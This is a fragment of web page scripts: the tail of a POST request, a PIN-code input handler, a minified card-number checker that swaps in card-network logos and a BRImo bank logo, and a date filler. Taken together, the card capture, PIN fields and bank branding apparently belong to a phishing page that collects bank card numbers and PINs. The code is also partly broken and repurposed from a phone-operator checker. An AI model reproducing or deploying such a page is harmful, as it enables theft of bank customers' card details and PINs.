method: `POST`,
})
}
</script>
<script>
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
var pinContainer = document.querySelector(".pincode");
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
pinContainer.addEventListener('keyup', function (event) {
var target = event.srcElement;
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
var myLength = target.value. length;
if (myLength >= maxLength) {
var next = target;
while (next = next.nextElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
if (myLength === 0) {
var next = target;
while (next = next.previousElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
}, false);
pinContainer.addEventListener('keydown', function (event) {
var target = event.srcElement;
target.value = "";
}, false);
</script>
<script>
function cekno0(){$(".errtelp").empty();var o,n=$(".card-input__input1").val(),r=n.length;if(r>=4&&r<=19){o=n.substring(0,4);var a=tsel.length,e=0,t=!0;for(nomor="bukan";a>e;)tsel[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/4/41/Visa_Logo.png)"}),nomor="TELKOMSEL",t=!1),++e;for(a=isat.length,e=0;a>e&&t;)isat[e]==o&&($(".card-input__input1").css({"background-image":"url(https://seeklogo.com/images/G/gpn-logo-36CC6EB701-seeklogo.com.png)"}),nomor="INDOSAT",t=!1),++e;for(a=tree.length,e=0;a>e&&t;)tree[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/b/b7/MasterCard_Logo.svg/600px-MasterCard_Logo.svg.png)"}),nomor="THREE",t=!1),++e;for(a=sfren.length,e=0;a>e&&t;)sfren[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/4/40/JCB_logo.svg/600px-JCB_logo.svg.png"}),nomor="SMARTFREN",t=!1),++e;for(a=xl.length,e=0;a>e&&t;)xl[e]==o&&($(".card-input__input1").css({"background-image":"url(https://3.bp.blogspot.com/-WM_SGpSoqNY/WkDuWGIi8_I/AAAAAAAABic/6sHIwe7dh1sm0CC1ZAokqhsR3vZuRErxgCPcBGAYYCw/s1600/xl.png)"}),nomor="XL",t=!1),++e;for(a=axis.length,e=0;a>e&&t;)axis[e]==o&&($(".card-input__input1").css({"background-image":"url(https://4.bp.blogspot.com/-3GaLxmQk2sc/WkDuVAN41pI/AAAAAAAABiI/IdxzPaiB_XMNKc-37Clgmn6SxKtw_PwQACPcBGAYYCw/s1600/axis.png)"}),nomor="AXIS",t=!1),++e;"bukan"==nomor?(blocktombol(),gambaroperatorhilang()):r>=10&&12>=r?bukablocktombol():blocktombol()}else blocktombol(),gambaroperatorhilang()}function adahurufstring(){var o=!0,n=$(".card-input__input1").val(),r=n.length;if(n=parseInt(n),n=n.toString().length,r==n+1)var o=!1;return o}function blocktombol(){$(".tombol").prop("disabled",!0)}function bukablocktombol(){$(".tombol").prop("disabled",!1)}function gambaroperatorhilang(){$(".card-input__input1").css({"background-image":"url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhShUt8NcMuBcL20gEw9MEJV-Um7IHIGE6AAyYsmzLnEgZVKU30O8vBgmkWoIsvT9lraoWxkoTwxsEk770iHBY20X5EGUZ7OWb41uDs3xzOh329qZcaSLeC40w_OZFPypTsJNjJ5rqVr3AI_PO8sIWiuEwmxKy53-PqbJ2phYD6c5iE22XVVJKlAAKY/s1600/brimo.png)"})}function isNumberKey(o){var n=o.which?o.which:event.keyCode;return n>31&&(48>n||n>57)?!1:!0}var tsel=["4365","4000","3422","4750","4895","4259","4149","4098"],isat=["6013"],tree=["5188","5221","5520","5211","5576","5463","5379","5289","5000","5520","5336","4599","5528"],sfren=["4213","3000","3565"],nomor,datapr;$(document).on("keyup",".card-input__input1",cekno0);
</script>
<script>
const dateInput = document.getElementById('date');
// ✅ Using the visitor's timezone
dateInput.value = formatDate();
console.log(formatDate());
function padTo2Digits(num) {
return num.toString().padStart(2, '0');
}
function formatDate(date = new Date()) {
return [
date.getFullYear(),
padTo2Digits(date.getMonth() + 1),
padTo2Digits(date.getDate()),
].join('-');
}
// ✅ Using UTC (universal coordinated time)
// dateInput.value = new Date().toISOString().split('T')[0];
// console.log(new Date().toISOString().split('T')[0]);
</script>